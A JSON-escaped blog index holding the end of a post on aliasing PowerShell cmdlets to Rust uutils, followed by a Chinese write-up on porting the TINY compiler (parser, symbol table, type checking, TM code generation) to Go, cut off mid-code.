39;,\u0026#39;sha3-256sum\u0026#39;,\u0026#39;sha3-384sum\u0026#39;,\u0026#39;sha3-512sum\u0026#39;,\u0026#39;sha384sum\u0026#39;,\u0026#39;sha3sum\u0026#39;,\u0026#39;sha512sum\u0026#39;,\u0026#39;shake128sum\u0026#39;,\u0026#39;shake256sum\u0026#39;,\u0026#39;shred\u0026#39;,\u0026#39;shuf\u0026#39;,\u0026#39;split\u0026#39;,\u0026#39;sum\u0026#39;,\u0026#39;tac\u0026#39;,\u0026#39;tail\u0026#39;,\u0026#39;test\u0026#39;,\u0026#39;touch\u0026#39;,\u0026#39;tr\u0026#39;,\u0026#39;true\u0026#39;,\u0026#39;truncate\u0026#39;,\u0026#39;tsort\u0026#39;,\u0026#39;unexpand\u0026#39;,\u0026#39;uniq\u0026#39;,\u0026#39;unlink\u0026#39;,\u0026#39;vdir\u0026#39;,\u0026#39;wc\u0026#39;,\u0026#39;yes\u0026#39;) { Remove-Alias $cmd -ErrorAction SilentlyContinue Set-Item function:$cmd -Value {coreutils $cmd $args}.GetNewClosure() } （修改自 这个 Gist）\n因为 sleep、tee 和 sort 不允许修改，所以只好删掉了。\n如果没有意外的话，再打开一个PowerShell，就可以使用新的uutils了。\n参考资料：\nhttps://stackoverflow.com/questions/75563303/how-to-set-an-alias-of-a-command-and-its-argument-in-windows-powershell\nChatGPT\n","date":"May 20, 2023","matchCount":0,"permalink":"/post/%E7%94%A8-rust-uutils-%E6%9B%BF%E6%8D%A2-windows-powershell-%E5%86%85%E7%BD%AE-cmdlet/","preview":"","title":"用 Rust uutils 替换 Windows PowerShell 内置 cmdlet"},{"content":"编译器、解释器、虚拟机，或许 只在 杨氏编译原理里面是同义词。\n代码已上传至GitHub，为防止篇幅过长，没有内置所有代码，仅对个人认为值得讲述的地方进行说明，可以对比阅读。\ncyp0633/compiler-lab\nTINY语言编译器的部分到了中间代码生成部分就结束了，生成的是下面这样的TM虚拟机机器码，剩下的部分一直到运行，都由虚拟机来完成。\ntext 复制代码 0: LD 6,0(0) 1: ST 0,0(0) 2: IN 0,0,0 3: ST 0,0(5) 4: LDC 0,0(0) 5: ST 0,0(6) 1 2 3 4 5 6 0: LD 6,0(0) 1: ST 0,0(0) 2: IN 0,0,0 3: ST 0,0(5) 4: LDC 0,0(0) 5: ST 0,0(6) 在实验三中完成了词法分析器，实验四包括了语义分析和中间代码生成，至于指导书没提的语法分析，当然只能自己加上了。\nTINY编译器的C代码中，大致流程为：词法分析（scan.c）-\u0026gt; 语法分析（parse.c）-\u0026gt; 语义分析（analyze.c）-\u0026gt; 中间代码生成（code.c、cgen.c）。另外还有符号表管理（symtab.c）。本文的之后部分中，将其改写 + 优化为Go代码进行解释。\n该编译器不含有独立的错误处理模块，错误处理在各模块中解决。\n语法分析 该编译器的语法分析输出是一个语法树，树节点用以下的结构描述。\ngo 复制代码 type treeNode struct { child [3]*treeNode // 子节点 sibling *treeNode // 兄弟节点 lineNo int // 行号 op tokenType // 操作符 val int // 值 attr string // 属性 stmt stmtKind // 语句类型 expr exprKind // 表达式类型 typ exprType // 表达式数值类型 node nodeKind // 节点类型 } 1 2 3 4 5 6 7 8 9 10 11 12 type treeNode struct { child [3]*treeNode // 子节点 sibling *treeNode // 兄弟节点 lineNo int // 行号 op tokenType // 操作符 val int // 值 attr string // 属性 stmt stmtKind // 语句类型 expr exprKind // 表达式类型 typ exprType // 表达式数值类型 node nodeKind // 节点类型 } 命名很乱是吧，我也是这么想的。\n节点类型 nodeKind 分为表达式节点和语句节点，前者对应一个表达式（如1+1），后者对应一整个或一行语句（如 write i）\n语句类型 stmtKind 分为赋值、循环、条件分支、读、写几种\n表达式类型 exprKind 是当前表达式节点的类型，分为运算符、常量、标识符变量\n表达式值类型 exprType 分为整型表达式、布尔表达式和没有值的表达式（真的存在吗）\n由于Go孱弱的类型系统，既没有泛型多态有没有类似Rust的Trait（巧了，C也没有），所以每个节点存储完整的信息，不会因表达式或是语句节点而使用不同的结构体。\n对于一个 treeNode，同一个节点的某个child的sibling和其他child并不是并列的关系。对于某个语句节点，sibling指向的是下一个语句，例如：\ntext 复制代码 fact := fact * x; x := x - 1; 1 2 fact := fact * x; x := x - 1; 第二句作为一个赋值语句节点，就是第一句的sibling。而child可以视为语句中的 “槽位”，如：\ntext 复制代码 if 0 \u0026lt; x then fact := 1; end 1 2 3 if 0 \u0026lt; x then fact := 1; end 上面的 if-then-end 语句有两个槽，分别存放 0 \u0026lt; x 表达式节点和 fact := 1 语句节点，也就是这个条件分支语句节点的两个child。因为槽最多的就是 if-then-else-end，有三个，所以child最大也仅需要三个。\nParse 函数用来启动语法分析，返回语法树根节点。它调用 stmtSequence() 函数，期望其返回时分析完整个源代码，如果最后识别到的token不为eof，则文件中含有错误。\ngo 复制代码 func Parse() (t *treeNode) { currToken= GetToken() t = stmtSequence() if currToken != eofToken { syntaxError(\u0026#34;Code ends before file\\n\u0026#34;) } return } 1 2 3 4 5 6 7 8 func Parse() (t *treeNode) { currToken= GetToken() t = stmtSequence() if currToken != eofToken { syntaxError(\u0026#34;Code ends before file\\n\u0026#34;) } return } stmtSequence 函数用来识别位于同一作用域（如同一if-clause，也就是Python中同一缩进等级）的一串语句，当找到eof、end、else 和 until 这几个代表结束的词语时结束。\nt为nil这一个分支我也没看懂为什么在这里。\ngo 复制代码 func stmtSequence() *treeNode { t := statement() p := t for currToken != eofToken \u0026amp;\u0026amp; currToken != endToken \u0026amp;\u0026amp; currToken != elseToken \u0026amp;\u0026amp; currToken != untilToken { match(semicolonToken) q := statement() if q != nil { if t == nil { p = q t = p } else { p.sibling = q p = q } } } return t } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 func stmtSequence() *treeNode { t := statement() p := t for currToken != eofToken \u0026amp;\u0026amp; currToken != endToken \u0026amp;\u0026amp; currToken != elseToken \u0026amp;\u0026amp; currToken != untilToken { match(semicolonToken) q := statement() if q != nil { if t == nil { p = q t = p } else { p.sibling = q p = q } } } return t } statement 函数好理解，一次识别单个语句，根据识别出的token类型进入不同的识别函数。代码略。\n各种不同语句的识别函数分为if、repeat、赋值语句、read和write，此处只以 ifStatement 为例，其他看看代码应该就明白了。if节点的三个域分别存放expression（条件检验表达式）、then-statement（符合执行的语句串）和else-statement（不符合执行的语句串）。\ngo 复制代码 // if 语句的匹配 // // if \u0026lt;expression\u0026gt; then \u0026lt;stmtSequence\u0026gt; [else \u0026lt;stmtSequence\u0026gt;] end func ifStatement() *treeNode { t := newStatementNode(ifStmt) match(ifToken) t.child[0] = expression() match(thenToken) t.child[1] = stmtSequence() if currToken == elseToken { match(elseToken) t.child[2] = stmtSequence() } match(endToken) return t } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // if 语句的匹配 // // if \u0026lt;expression\u0026gt; then \u0026lt;stmtSequence\u0026gt; [else \u0026lt;stmtSequence\u0026gt;] end func ifStatement() *treeNode { t := newStatementNode(ifStmt) match(ifToken) t.child[0] = expression() match(thenToken) t.child[1] = stmtSequence() if currToken == elseToken { match(elseToken) t.child[2] = stmtSequence() } match(endToken) return t } 语句的匹配在上面就结束了，而表达式的匹配需要考虑优先级问题。在这个编译器程序中，分为三个优先级：\u0026lt; 和 = 优先级最低，+ 和 - 优先级次之，* 和 / 更高，数字、标识符和括号则设为同一最高优先级。在形式化语言表示中，使用不同的符号（Expression、Term、Factor）区分不同的计算优先级。产生式有：\n$Expression \\to simpleExpression\\ |\\ simpleExpression \\lt simpleExpression\\ |\\ simpleExpression \\lt \\simpleExpression$\n$simpleExpression \\to Term\\ |\\ Term+Term\\ |\\ Term-Term$\n$Term \\to Factor\\ |\\ Factor \\times Factor\\ |\\ Factor / Factor$\n仅贴出Expression的代码，其他类似。\ngo 复制代码 // 表达式的匹配：处理 \u0026lt; 和 = 运算符 // 优先级最低 func expression() *treeNode { t := simpleExpression() if currToken == ltToken || currToken == eqToken { p := newExpressionNode(opExpr) p.child[0] = t p.op = currToken t = p match(currToken) t.child[1] = simpleExpression() } return t } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 // 表达式的匹配：处理 \u0026lt; 和 = 运算符 // 优先级最低 func expression() *treeNode { t := simpleExpression() if currToken == ltToken || currToken == eqToken { p := newExpressionNode(opExpr) p.child[0] = t p.op = currToken t = p match(currToken) t.child[1] = simpleExpression() } return t } 数字和标识符的处理（factor）如下：\ngo 复制代码 // 表达式的匹配：处理数字、标识符和括号 func factor() (t *treeNode) { switch currToken { case numToken: t = newExpressionNode(constExpr) if currToken == numToken { var err error t.val, err = strconv.Atoi(tokenString) if err != nil { syntaxError(\u0026#34;unexpected token -\u0026gt; %s\u0026#34;\u0026#43; currToken.String()) } match(numToken) } case idToken: t = newExpressionNode(idExpr) if currToken == idToken { t.attr = tokenString } match(idToken) case lparenToken: match(lparenToken) t = expression() match(rparenToken) default: syntaxError(\u0026#34;unexpected token -\u0026gt; %s\u0026#34;\u0026#43; currToken.String()) currToken = GetToken() } return } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // 表达式的匹配：处理数字、标识符和括号 func factor() (t *treeNode) { switch currToken { case numToken: t = newExpressionNode(constExpr) if currToken == numToken { var err error t.val, err = strconv.Atoi(tokenString) if err != nil { syntaxError(\u0026#34;unexpected token -\u0026gt; %s\u0026#34;+ currToken.String()) } match(numToken) } case idToken: t = newExpressionNode(idExpr) if currToken == idToken { t.attr = tokenString } match(idToken) case lparenToken: match(lparenToken) t = expression() match(rparenToken) default: syntaxError(\u0026#34;unexpected token -\u0026gt; %s\u0026#34;+ currToken.String()) currToken = GetToken() } return } 符号表 原来的C版本编译器说白了也就是个自定义哈希函数的哈希表，是一个数组实现，封装了查找和插入，所以既然Go本身就有无序的字典 map，当然就用上了。\n符号表项的键为符号名，值为内存地址（从0起）和出现的行数列表 的引用。\ngo 复制代码 var symtab map[string]*struct { refLines []int // 引用行号列表 memLoc int // 内存位置 } = make(map[string]*struct { refLines []int memLoc int }) 1 2 3 4 5 6 7 var symtab map[string]*struct { refLines []int // 引用行号列表 memLoc int // 内存位置 } = make(map[string]*struct { refLines []int memLoc int }) 在原来的符号表实现中，新符号的地址是由词法分析器决定的（而且是简单的递增），此处由符号表模块自行管理。\n查找很简单，判断是否存在罢了。\ngo 复制代码 // 查找符号表 // 返回内存位置和是否找到 func lookupSymtab(name string) (location int, ok bool) { if item, ok := symtab[name]; ok { return item.memLoc, true } return 0, false } 1 2 3 4 5 6 7 8 // 查找符号表 // 返回内存位置和是否找到 func lookupSymtab(name string) (location int, ok bool) { if item, ok := symtab[name]; ok { return item.memLoc, true } return 0, false } 插入分两种情况，如果已经存在，则仅更新行数列表；否则，还要分配一个空间。要改变map中某个元素的值，需要将其取出、修改值，然后重新设立对应关系，所以在上面的定义中使用了引用，得以在不修改引用地址的情况下增加引用行列表。\ngo 复制代码 func insertSymtab(name string, lineNo int) { if item, ok := symtab[name]; ok { item.refLines = append(item.refLines, lineNo) } else { symtab[name] = \u0026amp;struct { refLines []int memLoc int }{[]int{lineNo}, memLoc} memLoc\u0026#43;\u0026#43; } } 1 2 3 4 5 6 7 8 9 10 11 func insertSymtab(name string, lineNo int) { if item, ok := symtab[name]; ok { item.refLines = append(item.refLines, lineNo) } else { symtab[name] = \u0026amp;struct { refLines []int memLoc int }{[]int{lineNo}, memLoc} memLoc++ } } 语义分析 语义分析主要干两件事，类型检查和插入符号表。\n定义了一个统一的DFS函数，通过传入不同的函数，执行前序和后序遍历的操作。类型检查需要后序遍历，插入符号表则需要前序遍历（看起来TINY是 lexical scoping）。\ngo 复制代码 func traverse(t *treeNode, preProc func(*treeNode), postProc func(*treeNode)) { if t == nil { return } if preProc != nil { preProc(t) } for i := 0; i \u0026lt; 3; i\u0026#43;\u0026#43; { traverse(t.child[i], preProc, postProc) } if postProc != nil { postProc(t) } traverse(t.sibling, preProc, postProc) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 func traverse(t *treeNode, preProc func(*treeNode), postProc func(*treeNode)) { if t == nil { return } if preProc != nil { preProc(t) } for i := 0; i \u0026lt; 3; i++ { traverse(t.child[i], preProc, postProc) } if postProc != nil { postProc(t) } traverse(t.sibling, preProc, postProc) } 构建符号表需要对每个出现变量的地方都进行一次插入操作。因为在之前的符号表操作中已经做到了根据已经插入与否区分不同的行为，所以此处可以省去判断是否已经存在。\ngo 复制代码 // 将某个语法树节点的信息插入符号表 func insertNode(t *treeNode) { switch t.node { case stmtNode: // 对于语句，只有赋值和读语句需要插入符号表 if t.stmt == assignStmt || t.stmt == readStmt { insertSymtab(t.attr, t.lineNo) } case exprNode: // 对于表达式，其中的标识符都要记在符号表中 if t.expr == idExpr { insertSymtab(t.attr, t.lineNo) } } } // 遍历，构建符号表 func BuildSymtab(t *treeNode) { traverse(t, insertNode, nil) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // 将某个语法树节点的信息插入符号表 func insertNode(t *treeNode) { switch t.node { case stmtNode: // 对于语句，只有赋值和读语句需要插入符号表 if t.stmt == assignStmt || t.stmt == readStmt { insertSymtab(t.attr, t.lineNo) } case exprNode: // 对于表达式，其中的标识符都要记在符号表中 if t.expr == idExpr { insertSymtab(t.attr, t.lineNo) } } } // 遍历，构建符号表 func BuildSymtab(t *treeNode) { traverse(t, insertNode, nil) } 类型检查的思想就是，赋值语句和写语句后面要匹配integer类型，if和repeat则要匹配bool类型。\ngo 复制代码 // 对 t 做类型检查，反正就 bool 和 integer 两种类型 func checkNode(t *treeNode) { switch t.node { case exprNode: switch t.expr { case opExpr: // 运算符表达式，两个 child 类型均为 integer if t.child[0].typ != intExpr || t.child[1].typ != intExpr { typeError(t,\u0026#34;Op applied to non-integer\u0026#34;) } if t.op == eqToken || t.op == ltToken { // 返回的是比较结果 t.typ = boolExpr } else { // 返回的是计算结果 t.typ = intExpr } default: // const 或 id，直接返回类型 t.typ = intExpr } case stmtNode: switch t.stmt { case ifStmt: // if 语句，条件表达式类型为 bool if t.child[0].typ != boolExpr { typeError(t.child[0], \u0026#34;If test is not Boolean\u0026#34;) } case assignStmt: // 赋值语句，表达式类型为 integer if t.child[0].typ != intExpr { typeError(t.child[0], \u0026#34;Assignment of non-integer value\u0026#34;) } case writeStmt: // 写语句，表达式类型为 integer if t.child[0].typ != intExpr { typeError(t.child[0], \u0026#34;Write of non-integer value\u0026#34;) } case repeatStmt: // repeat 语句，条件表达式类型为 bool if t.child[1].typ != boolExpr { typeError(t.child[1], \u0026#34;Repeat test is not Boolean\u0026#34;) } } } } // 对整个语法树做类型检查 // 在进行完毕类型推导后，再做节点类型检查 func TypeCheck(t *treeNode) { traverse(t, nil, checkNode) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 // 对 t 做类型检查，反正就 bool 和 integer 两种类型 func checkNode(t *treeNode) { switch t.node { case exprNode: switch t.expr { case opExpr: // 运算符表达式，两个 child 类型均为 integer if t.child[0].typ != intExpr || t.child[1].typ != intExpr { typeError(t,\u0026#34;Op applied to non-integer\u0026#34;) } if t.op == eqToken || t.op == ltToken { // 返回的是比较结果 t.typ = boolExpr } else { // 返回的是计算结果 t.typ = intExpr } default: // const 或 id，直接返回类型 t.typ = intExpr } case stmtNode: switch t.stmt { case ifStmt: // if 语句，条件表达式类型为 bool if t.child[0].typ != boolExpr { typeError(t.child[0], \u0026#34;If test is not Boolean\u0026#34;) } case assignStmt: // 赋值语句，表达式类型为 integer if t.child[0].typ != intExpr { typeError(t.child[0], \u0026#34;Assignment of non-integer value\u0026#34;) } case writeStmt: // 写语句，表达式类型为 integer if t.child[0].typ != intExpr { typeError(t.child[0], \u0026#34;Write of non-integer value\u0026#34;) } case repeatStmt: // repeat 语句，条件表达式类型为 bool if t.child[1].typ != boolExpr { typeError(t.child[1], \u0026#34;Repeat test is not Boolean\u0026#34;) } } } } // 对整个语法树做类型检查 // 在进行完毕类型推导后，再做节点类型检查 func TypeCheck(t *treeNode) { traverse(t, nil, checkNode) } 代码生成 生成代码已经是这个编译器做的最后一步了，没有优化，没有中间代码。TM虚拟机读取的还不完全是三地址码，更别提LLVM IR那样高阶的东西了，而是有点类似于真实计算机的寄存器 + 内存的组合。寄存器有累加AC1和AC2、程序计数器PC，以及GP和MP寄存器。\n在 codegen.go 中，使用 CodeGen() 初始化程序运行环境，调用 cGen 对AST根节点生成代码，然后挂起虚拟机。在 cGen 中，根据当前节点的类型调用 genStmt 或 genExp 生成语句或表达式，然后再对其兄弟节点调用 cGen，生成下一条语句对应的代码。\n语句 对于 repeat \u0026lt;statement\u0026gt; until \u0026lt;expression\u0026gt;，先执行statement，再判断expression，判断结果会存放在AC1寄存器中。当AC1为0时代表条件成立，执行条件跳转指令，到statement之前，再次执行。\ngo 复制代码 case repeatStmt: emitComment(\u0026#34;-\u0026gt; repeat\u0026#34;) p1 := t.child[0] p2 := t.child[1] // 保存循环前的位置 savedLoc1 := emitSkip(0) emitComment(\u0026#34;repeat: jump after body comes back here\u0026#34;) // 执行语句 cGen(p1) // 判断条件 cGen(p2) // 如果符合，跳转到 savedLoc1，即循环前 emitAbsRM(\u0026#34;JEQ\u0026#34;, ACCUMULATOR1, savedLoc1) emitComment(\u0026#34;\u0026lt;- repeat\u0026#34;) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 case repeatStmt: emitComment(\u0026#34;-\u0026gt; repeat\u0026#34;) p1 := t.child[0] p2 := t.child[1] // 保存循环前的位置 savedLoc1 := emitSkip(0) emitComment(\u0026#34;repeat: jump after body comes back here\u0026#34;) // 执行语句 cGen(p1) // 判断条件 cGen(p2) // 如果符合，跳转到 savedLoc1，即循环前 emitAbsRM(\u0026#34;JEQ\u0026#34;, ACCUMULATOR1, savedLoc1) emitComment(\u0026#34;\u0026lt;- repeat\u0026#34;) 对于 if 语句，依次填入的指令为：\n判断 expr\n若不符合，跳转到 stmt2\n执行 stmt1\n跳转到 stmt2 结束\n执行 stmt2\ngo 复制代码 case ifStmt: // if \u0026lt;expr\u0026gt; then \u0026lt;stmt1\u0026gt; else \u0026lt;stmt2\u0026gt; end // 或 if \u0026lt;expr\u0026gt; then \u0026lt;stmt1\u0026gt; end emitComment(\u0026#34;-\u0026gt; if\u0026#34;) p1 := t.child[0] p2 := t.child[1] p3 := t.child[2] // 生成条件表达式的代码 cGen(p1) // 空一个跳转 stmt1 末尾的位置 savedLoc1 := emitSkip(1) emitComment(\u0026#34;if: jump to else belongs here\u0026#34;) // 生成 stmt1 的代码 cGen(p2) // 空一个指令，供跳转到 stmt2 结束 savedLoc2 := emitSkip(1) emitComment(\u0026#34;if: jump to end belongs here\u0026#34;) // 获得 stmt2 的开始位置 currLoc := emitSkip(0) // 回到 expr 判断结束处，写入条件跳转语句 emitBackup(savedLoc1) emitAbsRM(\u0026#34;JEQ\u0026#34;, ACCUMULATOR1, currLoc) emitComment(\u0026#34;if: jmp to else\u0026#34;) // 回到 stmt2 开始处 emitRestore() // 生成 stmt2 语句的代码 cGen(p3) // 获得 stmt2 结束后的位置 currLoc = emitSkip(0) // 回到 stmt1 结束处，无条件跳转到 stmt2 结束处 emitBackup(savedLoc2) emitAbsRM(\u0026#34;LDA\u0026#34;, PROGRAM_COUNTER, currLoc) emitComment(\u0026#34;if: jmp to end\u0026#34;) // 回到 stmt2 结束处 emitRestore() emitComment(\u0026#34;\u0026lt;- if\u0026#34;) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 case ifStmt: // if \u0026lt;expr\u0026gt; then \u0026lt;stmt1\u0026gt; else \u0026lt;stmt2\u0026gt; end // 或 if \u0026lt;expr\u0026gt; then \u0026lt;stmt1\u0026gt; end emitComment(\u0026#34;-\u0026gt; if\u0026#34;) p1 := t.child[0] p2 := t.child[1] p3 := t.child[2] // 生成条件表达式的代码 cGen(p1) // 空一个跳转 stmt1 末尾的位置 savedLoc1 := emitSkip(1) emitComment(\u0026#34;if: jump to else belongs here\u0026#34;) // 生成 stmt1 的代码 cGen(p2) // 空一个指令，供跳转到 stmt2 结束 savedLoc2 := emitSkip(1) emitComment(\u0026#34;if: jump to end belongs here\u0026#34;) // 获得 stmt2 的开始位置 currLoc := emitSkip(0) // 回到 expr 判断结束处，写入条件跳转语句 emitBackup(savedLoc1) emitAbsRM(\u0026#34;JEQ\u0026#34;, ACCUMULATOR1, currLoc) emitComment(\u0026#34;if: jmp to else\u0026#34;) // 回到 stmt2 开始处 emitRestore() // 生成 stmt2 语句的代码 cGen(p3) // 获得 stmt2 结束后的位置 currLoc = emitSkip(0) // 回到 stmt1 结束处，无条件跳转到 stmt2 结束处 emitBackup(savedLoc2) emitAbsRM(\u0026#34;LDA\u0026#34;, PROGRAM_COUNTER, currLoc) emitComment(\u0026#34;if: jmp to end\u0026#34;) // 回到 stmt2 结束处 emitRestore() emitComment(\u0026#34;\u0026lt;- if\u0026#34;) 对于 assign 语句，就是计算表达式的值，查符号表得到内存地址，然后将值存进去：\ngo 复制代码 case assignStmt: // \u0026lt;id\u0026gt; := \u0026lt;expr\u0026gt; emitComment(\u0026#34;-\u0026gt; assign\u0026#34;) // 计算表达式的值，存入 ACCUMULATOR1 cGen(t.child[0]) // 找到 id 的内存偏移 loc, _ := lookupSymtab(t.attr) // 将表达式的值存入 id 的内存偏移 emitRM(\u0026#34;ST\u0026#34;, ACCUMULATOR1, loc, GLOBAL_POINTER) emitComment(\u0026#34;\u0026lt;- assign\u0026#34;) 1 2 3 4 5 6 7 8 9 10 case assignStmt: // \u0026lt;id\u0026gt; := \u0026lt;expr\u0026gt; emitComment(\u0026#34;-\u0026gt; assign\u0026#34;) // 计算表达式的值，存入 ACCUMULATOR1 cGen(t.child[0]) // 找到 id 的内存偏移 loc, _ := lookupSymtab(t.attr) // 将表达式的值存入 id 的内存偏移 emitRM(\u0026#34;ST\u0026#34;, ACCUMULATOR1, loc, GLOBAL_POINTER) emitComment(\u0026#34;\u0026lt;- assign\u0026#34;) read 和 write 语句也会使用AC1作为中转，不同的是 write 计算表达式的值时会隐式地存入AC1，表现倒是相同的：\ngo 复制代码 case readStmt: // read \u0026lt;id\u0026gt; emitComment(\u0026#34;-\u0026gt; read\u0026#34;) // 读取输入，存入 ACCUMULATOR1 emitRO(\u0026#34;IN\u0026#34;, ACCUMULATOR1, 0, 0) loc, _ := lookupSymtab(t.attr) // 将输入的值存入 id 的内存偏移 emitRM(\u0026#34;ST\u0026#34;, ACCUMULATOR1, loc, GLOBAL_POINTER) emitComment(\u0026#34;\u0026lt;- read\u0026#34;) case writeStmt: emitComment(\u0026#34;-\u0026gt; write\u0026#34;) // 计算表达式的值，存入 ACCUMULATOR1 cGen(t.child[0]) // 将 ACCUMULATOR1 的值输出 emitRO(\u0026#34;OUT\u0026#34;, ACCUMULATOR1, 0, 0) emitComment(\u0026#34;\u0026lt;- write\u0026#34;) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 case readStmt: // read \u0026lt;id\u0026gt; emitComment(\u0026#34;-\u0026gt; read\u0026#34;) // 读取输入，存入 ACCUMULATOR1 emitRO(\u0026#34;IN\u0026#34;, ACCUMULATOR1, 0, 0) loc, _ := lookupSymtab(t.attr) // 将输入的值存入 id 的内存偏移 emitRM(\u0026#34;ST\u0026#34;, ACCUMULATOR1, loc, GLOBAL_POINTER) emitComment(\u0026#34;\u0026lt;- read\u0026#34;) case writeStmt: emitComment(\u0026#34;-\u0026gt; write\u0026#34;) // 计算表达式的值，存入 ACCUMULATOR1 cGen(t.child[0]) // 将 ACCUMULATOR1 的值输出 emitRO(\u0026#34;OUT\u0026#34;, ACCUMULATOR1, 0, 0) emitComment(\u0026#34;\u0026lt;- write\u0026#34;) 表达式 此处每个表达式的结果最后都会存放在AC1寄存器中，这是一个约定用法。\n常量表达式最简单，直接使用加载常量的指令，把值存入AC1：\ngo 复制代码 case constExpr: emitComment(\u0026#34;-\u0026gt; Const\u0026#34;) // 将常量存入 ACCUMULATOR1 emitRM(\u0026#34;LDC\u0026#34;, ACCUMULATOR1, t.val, 0) emitComment(\u0026#34;load const\u0026#34;) emitComment(\u0026#34;\u0026lt;- Const\u0026#34;) 1 2 3 4 5 6 case constExpr: emitComment(\u0026#34;-\u0026gt; Const\u0026#34;) // 将常量存入 ACCUMULATOR1 emitRM(\u0026#34;LDC\u0026#34;, ACCUMULATOR1, t.val, 0) emitComment(\u0026#34;load const\u0026#34;) emitComment(\u0026#34;\u0026lt;- Const\u0026#34;) 加载一个变量也只需根据指针将其从内存中读出：\ngo 复制代码 case idExpr: emitComment(\u0026#34;-\u0026gt; Id\u0026#34;) // 找到 id 的内存偏移 loc, _ := lookupSymtab(t.attr) // 将该地址对应的值存入 ACCUMULATOR1 emitRM(\u0026#34;LD\u0026#34;, ACCUMULATOR1, loc, GLOBAL_POINTER) emitComment(\u0026#34;load id value\u0026#34;) emitComment(\u0026#34;\u0026lt;- Id\u0026#34;) 1 2 3 4 5 6 7 8 case idExpr: emitComment(\u0026#34;-\u0026gt; Id\u0026#34;) // 找到 id 的内存偏移 loc, _ := lookupSymtab(t.attr) // 将该地址对应的值存入 ACCUMULATOR1 emitRM(\u0026#34;LD\u0026#34;, ACCUMULATOR1, loc, GLOBAL_POINTER) emitComment(\u0026#34;load id value\u0026#34;) emitComment(\u0026#34;\u0026lt;- Id\u0026#34;) 在计算一个带运算符（算术运算和比较）的表达式的值时，需要先求出左右子表达式的值。tmpOffset 的设置是为了让嵌套执行此处代码时，每一个 genExpr 的 tmpOffset 值都是不同的，从而在多层 opExpr 下能够将左子表达式的临时值存放在不同的位置；否则每次执行都会向同一个位置（即MP）读写内容，从而覆盖外层求出的结果。\ngo 复制代码 case opExpr: emitComment(\u0026#34;-\u0026gt; Op\u0026#34;) // 求左子表达式的值，存入 ACCUMULATOR1 cGen(t.child[0]) // 将 ACCUMULATOR1 的值存入内存偏移 tmpOffset emitRM(\u0026#34;ST\u0026#34;, ACCUMULATOR1, tmpOffset, MEMORY_POINTER) // 将 tmpOffset 加 1，即指向下一个内存偏移（当然后面存的不能重合了） tmpOffset-- emitComment(\u0026#34;op: push left\u0026#34;) // 求右子表达式的值，存入 ACCUMULATOR1 cGen(t.child[1]) tmpOffset\u0026#43;\u0026#43; // 将左子表达式的值存入 ACCUMULATOR2 emitRM(\u0026#34;LD\u0026#34;, ACCUMULATOR2, tmpOffset, MEMORY_POINTER) emitComment(\u0026#34;op: load left\u0026#34;) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 case opExpr: emitComment(\u0026#34;-\u0026gt; Op\u0026#34;) // 求左子表达式的值，存入 ACCUMULATOR1 cGen(t.child[0]) // 将 ACCUMULATOR1 的值存入内存偏移 tmpOffset emitRM(\u0026#34;ST\u0026#34;, ACCUMULATOR1, tmpOffset, MEMORY_POINTER) // 将 tmpOffset 加 1，即指向下一个内存偏移（当然后面存的不能重合了） tmpOffset-- emitComment(\u0026#34;op: push left\u0026#34;) // 求右子表达式的值，存入 ACCUMULATOR1 cGen(t.child[1]) tmpOffset++ // 将左子表达式的值存入 ACCUMULATOR2 emitRM(\u0026#34;LD\u0026#34;, ACCUMULATOR2, tmpOffset, MEMORY_POINTER) emitComment(\u0026#34;op: load left\u0026#34;) 算术表达式的求解很简单，惟需注意上面执行完毕后左边对应AC2，右边对应AC1：\ngo 复制代码 switch t.op { case plusToken: // AC1 = AC2 \u0026#43; AC1 emitRO(\u0026#34;ADD\u0026#34;, ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1) emitComment(\u0026#34;op \u0026#43;\u0026#34;) case minusToken: // AC1 = AC2 - AC1 emitRO(\u0026#34;SUB\u0026#34;, ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1) emitComment(\u0026#34;op -\u0026#34;) case timesToken: // AC1 = AC2 * AC1 emitRO(\u0026#34;MUL\u0026#34;, ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1) emitComment(\u0026#34;op *\u0026#34;) case overToken: // AC1 = AC2 / AC1 emitRO(\u0026#34;DIV\u0026#34;, ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1) emitComment(\u0026#34;op /\u0026#34;) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 switch t.op { case plusToken: // AC1 = AC2 + AC1 emitRO(\u0026#34;ADD\u0026#34;, ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1) emitComment(\u0026#34;op +\u0026#34;) case minusToken: // AC1 = AC2 - AC1 emitRO(\u0026#34;SUB\u0026#34;, ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1) emitComment(\u0026#34;op -\u0026#34;) case timesToken: // AC1 = AC2 * AC1 emitRO(\u0026#34;MUL\u0026#34;, ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1) emitComment(\u0026#34;op *\u0026#34;) case overToken: // AC1 = AC2 / AC1 emitRO(\u0026#34;DIV\u0026#34;, ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1) emitComment(\u0026#34;op /\u0026#34;) 小于运算符的情况，如果AC1\u0026lt;AC2，则AC1=0；否则AC1=1。\ngo 复制代码 case ltToken: // AC1 = AC2 - AC1 emitRO(\u0026#34;SUB\u0026#34;, ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1) emitComment(\u0026#34;op \u0026lt;\u0026#34;) // 若 AC1\u0026lt;AC2（新 AC1\u0026lt;0），则往后跳两个指令 emitRM(\u0026#34;JLT\u0026#34;, ACCUMULATOR1, 2, PROGRAM_COUNTER) emitComment(\u0026#34;br if true\u0026#34;) // 